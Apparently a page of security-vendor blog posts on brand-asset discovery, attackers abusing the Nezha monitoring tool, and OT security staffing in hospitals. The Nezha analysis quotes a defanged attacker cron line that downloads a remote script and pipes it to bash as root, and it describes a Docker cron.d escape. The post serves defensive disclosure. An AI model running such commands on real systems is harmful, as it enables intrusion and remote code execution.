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January 19, 2022

Brand DNA: The Key to a Strong Security Posture

Learn how AI can enhance security measures by detecting malicious assets, and safeguarding against vulnerabilities. Stay secure with advanced technology.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Willem Van Zwieten
Data Science & Analytics Lead
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19
Jan 2022

The internet is huge and is expanding every day. While this has many positives for businesses, managing the potential risks in this environment can be daunting. The reality is that across the internet brands are susceptible to everything from brand abuse to phishing websites. So, how is it possible that organisations can keep track of the web-based assets that belong to them, and at the same time distinguish them from something that may only look like it’s theirs? Finding and verifying all of a company’s web assets across the entire internet is a massive undertaking. You essentially need to filter the whole internet and try to pick out what is relevant, and then set about detecting the risks – or even potential risks – within what you have found.

This isn’t a process that can be managed manually. The staff-hours alone would make this hugely prohibitive, and that’s without taking into account the potential margin for error. Instead, it requires a different approach, one based around automation. At Darktrace, my team and I work on exactly those kind of solutions. We’ve developed our own algorithms to define what distinguishes a client’s brand-owned site from everything else on the internet. We refer to that as a company’s Brand DNA. These special characteristics help us to predict and identify where any brand-related assets are across the entire internet, and how they should be investigated further. The concept of an organisation’s Brand DNA breaks down into two areas: what is unique by design and what is uniqueby comparison.

Unique by Design

All brands have different design elements that help set them apart from other brands. This can be everything from their name and logo, to the different fonts and colours they use in all their communications and websites. By ingesting this data into our algorithms we are able to scan the internet for any web-based assets that may be relevant to a company, based on these key brand elements. While the elements of ‘unique by design’ are relatively easily understandable by humans, no organisations want to have their time taken up manually searching through millions of images every day in order to help them locate the web properties that might belong to their organisation.

Unique by Comparison

Conversely, ‘unique by comparison’ focuses more on the elements that a human would probably not be able to figure out by themselves. As we suggest potential new domains to customers, we build up a pool of assets. Automation allows us to find patterns in these assets that might not be immediately obvious to humans, such as elements of metadata,nameserver details, or even where a website is hosted. Although unique by design is more about what you actually see on a website and unique by comparison focuses on the back-end, in reality there are overlaps and the two things feed into each other.

As a very basic example: if a domain is hosted on nameserver where other company assets are hosted, AND the company logo is on the page, then the chances are this domain is a company-owned asset. In effect, the two approaches strengthen each other. By analysing all these details together, our algorithms can increasingly accurately score how likely an asset is to be owned by a company. I should add here that unique by comparison is based on comparing a lot of features at once, so it is often not as clear cut as the above example.

Combining Humans and AI

Ultimately, automating the process in this way helps to create a minimal-touch process for companies. The algorithms do all the filtering, enabling the creation of a much-reduced list of assets for the company to look through. Basically, we’re able to break down that list to avery small percentage of the internet that they actually need to look at and then analyse the risk those assets poseto the organisation.

We also use something which we internally label “AI2”(artificial intelligence with analyst interaction). This essentially means we’re adding a human layer to the automated process, for both input and output checks. While the algorithms do all the heavy lifting and aid scalability, the human element allows us to finetune or dive deeper into certain automated findings.

Detecting Malicious Assets

While the algorithms are principally focused on establishing a brand’s attack surface, a useful byproduct is that they can also locate malicious assets, such as potential phishing sites. For example, if something looks like it belongs to the customer, but doesn’t actually belong inside their directdigital infrastructure, then clearly there is an increased likelihood that it is either a brand abuse or phishing site.

On top of this, as part of our search process we can also automatically create combinations of possible URLs that cover common search errors such as typos or “fat finger”errors within brand names, and then hunt for those – clearly the likelihood of these URLs being rogue sites is greatly enhanced.

The Clearest View of the Attack Surface

By combining all these elements, companies are able to get the most complete view of their potential attack surface.And with the use of enhanced automation techniques they can do so with minimum effort. From this position companies are able to easily and quickly home in on the genuine items, and the areas that pose them the most risk. They can then use the resulting list to form the foundations from which they can apply the rest of their security strategy.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Willem Van Zwieten
Data Science & Analytics Lead

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June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

nezha monitoring toolDefault blog imageDefault blog image

What is Nezha?

Nezha is an open-source tool that allows system administrators to centrally monitor multiple servers, including their resource usage such as CPU and network usage, and uptime. The tool also enables remote administrative access via an interactive shell.

The project has just under 10,000 stars on GitHub and has seen widespread adoption in the Chinese IT community, with many forum posts providing guides on installation and usage.

However, Nezha’s status as a legitimate executable that has remote access capabilities creates an opportunity for misuse. Instead of deploying a regular command-and-control (C2) implant, attackers can deploy Nezha directly on compromised hosts. As these deployments are functionally indistinguishable from legitimate installations, they can blend into expected operational tooling and evade detection.

Darktrace’s analysis of a Nezha infection

Darktrace operates several high-interaction honeypots to observe attacker techniques and behaviors. Darktrace analysts observed an intrusion against the Docker-based honeypot, initiated with a malicious container create command.

 The malicious container create command.
Figure 1: The malicious container create command.

Docker allows any host file or directory to be passed through to a container, granting read and write access. In this case, the attacker made use of this to pass through the cron.d directory, which is used to schedule recurring tasks, such as maintenance or backup commands.

These commands and timings are stored in the cron.d directory, which the attacker can now write to because it is passed through to their malicious container. By writing a job to this directory from within the container, the cron service running on the host detects the new job and executes it on the host, effectively allowing the attacker to escape the container.

The attacker the created a malicious cron job named ngk:
* * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash

This resulted in the host downloading and running the linux_install.sh file with root privileges.

The linux_install script installs several dependencies, sets up environmental variables, and retrieves a second-stage script (nezha_install.sh) from the same domain.

The linux_install script.
Figure 2: The linux_install script.

The nezha_install.sh script based on the official Nezha installer but has been modified to hard code configuration values, such as the server address, and to remove interactive prompts, allowing it to be installed without user input.

Open by design

One of Nezha’s most interesting design choices is that its main monitoring panel does not require authentication to view a list of monitored hosts. This exposes a list of compromised systems via the attacker-controlled panel, enabling direct observation of the operation’s scale, victimology and infrastructure.

The attacker’s Nezha dashboard.
Figure 3: The attacker’s Nezha dashboard.

At the time of analysis, the campaign had infected 141 servers, with 45 still online and accessible.  The number of online servers was previously higher, suggesting that some victims may have discovered and removed the infection.

The exposed dashboard provides insights into victim characteristics, including geographic distribution, hardware specification, and resource usage. Most infected hosts were low-spec systems, commonly one or two core Xeon CPUs and less than 4GB of RAM, indicating they were likely small virtual private servers (VPS) with limited value to the attacker.

Many systems also exhibited 100% CPU usage, which may indicate concurrent compromise, such as cryptocurrency mining activity by other threat actors.

Open-source intelligence platforms such as Shodan and Censys can also identify publicly exposed instances of Nezha. Although authentication is required to execute commands on a monitored server, visibility into dashboards still provides valuable intelligence for attackers and defenders alike.

At the time of writing, Darktrace identified 33 internet-facing Nezha installations as openly accessible.

Key takeaways

The abuse of legitimate software has become a consistent feature of modern intrusion activity, enabling attackers to operate without deploying traditional malware and reducing the risk of detection.

This creates a form of “trust inversion”, where tools typically associated with routine operations may instead indicate malicious activity when deployed outside expected contexts. Organizations should therefore prioritize asset visibility and software governance, ensuring that unexpected tool deployments can be identified and investigated, rather than focusing solely on malware-centric detection.

This challenge is especially pronounced in cloud environments, where legitimate monitoring tools may represent either essential software or an attacker backdoor. The scale and dynamic nature of cloud environments further complicate distinguishing between benign and malicious use.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

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About the author
Nathaniel Bill
Malware Research Engineer

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OT

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June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

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Rethinking the healthcare attack surface

When most people think about Operational Technology (OT) cybersecurity, they think about oil & gas pipelines, utilities, manufacturing plants, or power grids. However, hospitals & healthcare systems have quickly become a point of focus in the OT cybersecurity community as they do employ a variety of OT in the form of IoMT (Internet of Medical Things) networked devices such as: infusion pumps, imaging systems, patient monitoring equipment, laboratory systems, and traditional industrial control systems (ICS) in the form of smart building management systems (BMS) and even on site power generation control systems. 

These healthcare environments are no longer just traditional IT ecosystems, they are cyber-physical environments where disruption can directly impact patient care, operational continuity, and ultimately patient safety.

The OT cybersecurity expertise gap in healthcare organizations

Our research in the OT cybersecurity space revealed a concerning trend. Many hospitals and healthcare networks lack dedicated OT cybersecurity teams, OT security full time employees (FTE) and even OT expertise in the form of OT security certifications when compared to other critical infrastructure sectors.

On the other hand, within industries such as energy and manufacturing, we encounter more mature OT security programs that employ full time employees  dedicated to OT cybersecurity with OT security certifications and expertise to secure industrial and operational environments and lead investment in OT security processes and technology.

When reviewing the top 20 U.S. Hospitals by market cap, given what is publicly available on LinkedIn, only one FTE with an OT cybersecurity certification was found. The certifications that were searched for include: GIAC GICSP, GIAC GRID, GIAC GCIP and all ISA/IEC 62443 certifications. When replicating this same search across the top 20 utility providers in the US, 73 FTEs with OT related certifications were identified. As a control group, we looked within financial services, an industry NOT expected to have OT systems worth investing in FTEs to protect. However, the top 20 US financial institutions had 18 FTEs with OT related certifications. 

What these findings reveal

Overall, the findings regarding healthcare investment in OT security FTEs are surprising given how operationally dependent modern healthcare has become on OT. So why aren't hospitals investing in OT security personnel at the rate of peer critical infrastructures? It could just be lack of awareness; however, there are other, more plausible reasons.  

Based on historical trends in cyber incidents within the healthcare space, one could speculate that there is significantly greater likelihood of being victim to an attack that  focuses on extortion or data theft rather than an attack on specific OT systems. The amount of ransomware events incurred in healthcare, that historically do not target OT systems, may divert attention and security investment to the parts of the attack surface most likely to be targeted by ransomware. Additionally, data theft is a relevant threat objective for hospitals given PHI, PCI and PII, and data theft does not traditionally align with attacks targeting OT.  

However, with focused investment to address data theft and with adversaries new capability to string together chains of vulnerabilities of different severity scores using advancements in AI, we could be entering a threat landscape where adversaries pivot their tactics to target exposed and under protected devices and systems like OT. For example, although not a patient records database, predominant IOMT protocols HL7 and DICOM are unencrypted plaintext protocols and unless encrypted it is very simple for adversaries, who are sniffing traffic, to identify protected health information (PHI) in these communication protocols.

Why OT cybersecurity expertise can be effective for healthcare organizations

The convergence of IT, OT, and IoMT is already here, and threat actors are increasingly aware of the operational vulnerabilities that come with it. Additionally, as AI solutions such as agentic or generative applications are adopted and deployed, the attack surface will continue to change as permissions, and new connections will exist to support AI efficiency. From a cybersecurity standpoint, the reality is that many healthcare organizations are still working to establish consistent visibility and governance across their enterprise-connected devices and systems as their attack surface is changing in real time.  As the healthcare sector remains a significant target for cyber-attacks, hospitals would be well advised to begin addressing their operational environments OT as a critical component of their attack surface and invest in securing them first with people, then process and technology. 

What can healthcare organizations do to secure their OT

Including OT in current cybersecurity processes such as red teaming and testing incident response plans that take OT into account alongside building dedicated OT security capabilities including improving OT network visibility, leveraging OT network anomaly detection, micro-segmentation, and secure remote access will become essential steps in strengthening healthcare resilience. 

However, before any of the above processes or investments in technology can be made, these healthcare organizations, like the other critical infrastructure sectors, need to invest in the people with the experience in OT security to lead, implement, manage and audit the investment in OT cybersecurity technology and processes.  In cases where headcount cannot be added, investment in OT security certifications, such as the ones listed in this article, and participation on OT security events focused on practitioner training for existing cybersecurity employees can move the needle in terms of bringing OT expertise to the existing team.  

In an industry where uptime and safety are as mission critical as they are for a power utility, OT cybersecurity FTEs can no longer be viewed as optional for healthcare organizations and must become part of the foundation of modern healthcare cybersecurity strategy. 

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About the author
Daniel Simonds
Director of Operational Technology
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